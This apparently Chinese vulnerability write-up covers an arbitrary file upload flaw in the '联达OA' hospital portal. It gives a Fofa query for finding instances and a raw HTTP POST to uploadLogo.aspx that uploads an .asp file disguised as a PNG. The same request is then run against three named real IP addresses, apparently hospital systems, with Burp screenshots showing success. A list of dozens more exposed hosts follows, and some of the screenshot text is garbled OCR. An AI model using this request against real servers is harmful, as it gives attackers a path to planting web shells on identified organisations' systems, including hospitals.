Fofa：app=”联达OA”
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上传文件：
POST /Hosp_Portal/uploadLogo.aspx HTTP/1.1
Host:     
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Content-Type: multipart/form-data; boundary=00content0boundary00

--00content0boundary00
Content-Disposition: form-data; name="DesignId"

1
--00content0boundary00
Content-Disposition: form-data; name="Filedata"; filename="tt_test.asp"
Content-Type: image/png
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--00content0boundary00--
访问文件：
/Hosp_Portal/Logo/tt_test.asp




资产一：http://111.42.39.103:8100/
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Poc：
POST /Hosp_Portal/uploadLogo.aspx HTTP/1.1
Host: 111.42.39.103:8100    
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Content-Type: multipart/form-data; boundary=00content0boundary00
Content-Length: 234

--00content0boundary00
Content-Disposition: form-data; name="DesignId"

1
--00content0boundary00
Content-Disposition: form-data; name="Filedata"; filename="tt_test.asp"
Content-Type: image/png
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--00content0boundary00--
[image: ]
访问文件：
Url+/Hosp_Portal/Logo/tt_test.asp
[image: ]









资产二：http://39.164.72.92:38080/
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Poc：
POST /Hosp_Portal/uploadLogo.aspx HTTP/1.1
Host: 39.164.72.92:38080  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Content-Type: multipart/form-data; boundary=00content0boundary00
Content-Length: 234

--00content0boundary00
Content-Disposition: form-data; name="DesignId"

1
--00content0boundary00
Content-Disposition: form-data; name="Filedata"; filename="tt_test.asp"
Content-Type: image/png

tttest
--00content0boundary00--
[image: ]
访问http://39.164.72.92:38080/Hosp_Portal/Logo/tt_test.asp
[image: ]









[bookmark: _GoBack]


资产三：http://120.194.202.110:7005/

[image: ]
Poc;
POST /Hosp_Portal/uploadLogo.aspx HTTP/1.1
Host: 120.194.202.110:7005
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Content-Type: multipart/form-data; boundary=00content0boundary00
Content-Length: 234

--00content0boundary00
Content-Disposition: form-data; name="DesignId"

1
--00content0boundary00
Content-Disposition: form-data; name="Filedata"; filename="tt_test.asp"
Content-Type: image/png

tttest
--00content0boundary00--

image7.png
1 39.164.72.92:38080/Hosp_Por X+

& > C  ATZ=e 39.164.72.92:38080/Hosp_Portal/Logo/tt_test.asp

tttest





image8.png
| WSTE

120.194.202.110

EE‘

</

‘ D
A7 AL R A N 7Y

Center Hospital of Shangniu 5

=5 | LOGIN

8

,

O i 3 Mmm

BEARLER BBTA BRAAEETE

B
]
n




image1.png
| 81 Fofa_Viewer v1.1.11 By f1ashine@WgpSec

El= =

EEEAF  app="EHAOA"

HEBRTFIR |V 288 Fid |V/| 458 B

praning
FEa i P
93 219.239.26.85:86 55 219.239.26.85
94 117.107.162.29 55 117.107.162.29
95 61.161.85.254:86 55 61.161.85.254
96 171.104.153.32:8090 &F 171.104.153.32
97 117.107.162.30 55 117.107.162.30
98 117.107.162.28 55 117.107.162.28
929 124.193.243.2:8088 55 124.193.243.2
100 1.119.55.50 55 1.119.55.50
101 111.207.35.72 REERRMEGANARS 111.207.35.72
102 106.2.224.18:81 OADAFREG 106.2.224.18
103 114.255.202.35 55 114.255.202.35
104 60.223.233.109:8080 EF 60.223.233.109
105  47.94.136.165:8088 55 47.94.136.165
106 124.205.190.62:8090 EF 124.205.190.62
107  www.zjgdgs.com k=15 111.122.172.198
108 124.205.190.58:8090 EF 124.205.190.58
109 124.205.190.51:8090 &EZF 124.205.190.51
110 124.205.190.57:8090 & 124.205.190.57
111 124.205.190.55:8090  &EF 124.205.190.55
112 oa.ccteb.com = 124.205.41.75
113 124.20541.75 55 124.205.41.75
114 61.235.163.12:88 55 61.235.163.12
115 111.160.208.42:83 55 111.160.208.42
116 hitne//404130173 =S 404120172

OK

fin]
86
80
86

8080
8088
8090

8090
8090
8090
8090

8 8

443

HE

zjgdgs.com

ccteb.com

x| | Hf SHSAERNFTEEE

Y ERSEREE Serverigft

http Microsoft-11S/7.5
http Microsoft-115/8.5
http Microsoft-11S/7.5
http Microsoft-11S/7.5
http Microsoft-11S/7.5
http Microsoft-11S/7.5
http Microsoft-115/8.5
http Microsoft-11S/7.5
http Microsoft-11S/7.5
http Microsoft-115/8.5
http Microsoft-115/8.5
http Microsoft-11S/7.5
http Microsoft-115/8.5
http Microsoft-11S/7.5
http Microsoft-115/7.0
http Microsoft-11S/7.5
http Microsoft-11S/7.5
http Microsoft-11S/7.5
http Microsoft-11S/7.5
http Microsoft-11S/7.5
http Microsoft-11S/7.5
http Microsoft-11S/7.5
http Microsoft-11S/7.5
httne Micracoft-11S/7 & v

LPTERREIRR 259 £, BTSN 259 &





image2.png
WRERS_ER-WEDAET X+

& o X AFze 111.4239.103:8100 2y &0 2

Z5 | LOGIN

F 8

Y
®

WRRIEATR BB BT R AEET G





image3.png
Burp WE Intruder EWE =E 28 Burp Suite¥VAE v2024.1.1 - ISEITAE - licensed to surferxyz - o X

=g Bix ®E Intruder EmE Sequencer IR B Organizer B 3 POes Gas
1x  + Fol
& e <|v Eif httpy//111.4239.1038100 /°  HTTP/1 (3)
= Inspector = |}
Raw Hex \n = Raw Hex TEmER = | Request attributes
1 POST /Hosp_Portal/uploadLogo.aspx HTTP/L.1| 1 HTTP/L.1 200 0K 2
2 Host: 111.42.39.103:8100 2 Cache-Control: private o =
st et o v B8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_14_S) AppleWebKit/537.36 3 Content-Length: 11 €quest query parameters s
(KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36 4 Content-Type: text/plain; charset=utf-8
4 Content-Type: multipart/form-data; boundary=00contentOboundary00 5 Server: Microsoft-115/8.5 Request body parameters B
5 Content-Length: 234 & X-Asplet-Version: 2.0.50727
7 Set-Cookie: ASP.NET_Sessionld=zdyt3xy£sf0eq045suzwddds; path=/; HttpOnly B
-00contentOboundary00 ¢ X-Powersd-By: ASP.NET Request cookies 0 v
o Content-Disposition: form-data; name="Designld” X-Frame-Options: SAMEORIGIN z
s 0 X-XSS-Protection: 1 2
101 Date: Mon, 25 Mar 2024 05:38:13 GMT ERE 4 v 2
11 --00contentOboundary00
12 Content-Disposition: form-data; name="Filedata”; filename="tt_test.asp"” 3 te_test.asp
13 Content-Type: image/png WAL 10 v
14
15 tttest
16 --00contentOboundary00--
@B €l == o mE DL € > == o o=z
= 355 bytes | 1,102 millis

SHAE  Allissues (7)°® ® w#: 387.2M8





image4.png
& G A FZ2 | 1114239103

tttest




image5.png
i U pEsoBEFeER x  +

& > C  AFzse 39.164.72.92:38080 2 % A O 2

Z5 | LOGIN

8
Y

®

TTHARAERRER S MBTH BRAAEETE





image6.png
Burp WE Intruder EWE =& 2

=S Bix KE Intruder = Sequencer IR

1 x 2 x 3 x 4 x 5 x 6 x 7 x 8 x +
i <|v|[>]v

i-F3

= Raw Hex

1 POST /Hosp_Portal/uploadlogo.aspx HTTP/1.1
2 Host: 39.1E4.72.92:38080
3

B=

Burp Suite% A% v2024.1.1 - KSEIIRE - licensed to surferxyz

Organizer

8w

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 10_l4_5) AppleWebKit/537.36

(KHTML, like Gecko) Chrome/7€.0.3809.132 Safari/537.36

4 Content-Type: multipart/form-data; boundary=00contentOboundary00
5 Content-length: 234

€

7 --D0contentOboundary0d

o Content-Disposition: form-data; name="DesignId”

9

101

11 --00contentOboundary00
12 Content-Disposition: form-data; name="Filedata”; filename="tt_test.asp”
13 Content-Type: image/png

15 tttest
16 --00contentOboundary00--

O €l ==
ek

Eventlog (3)*  All issues (30)®

¥R 3

TERL

ESiA Raw
HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/plain; charset=utf-8

Set-Cookie: ASP.NET Sessionld=vsrdikfhw3ljld4Svinicyv3; path=/; HttpOnly
X-Powered-By: ASP.NET

X-Frame-Options: SAMEORIGIN

X-XS5-Protection: 1

Date: Mon, 25 Mar 2024 05:49:35 GHT

Content-Length: 11

Hex

oEmER

Swmamnewn -

1

-
=

tt_test.asp

O €[> ==

o om=

- o X
Lms Sas
Jols:

Bix: http://39.164.72.92:38080 y HTTP/1

7
z N
Inspector = [ - & X
Request attributes 2 v |2
2
Request query parameters 0 v g
Request body parameters 2 v
B
Request cookies 0 v =
e
R 4 v 2
WAL 8 v

299 bytes | 1,054 millis
© mE:439.7MB





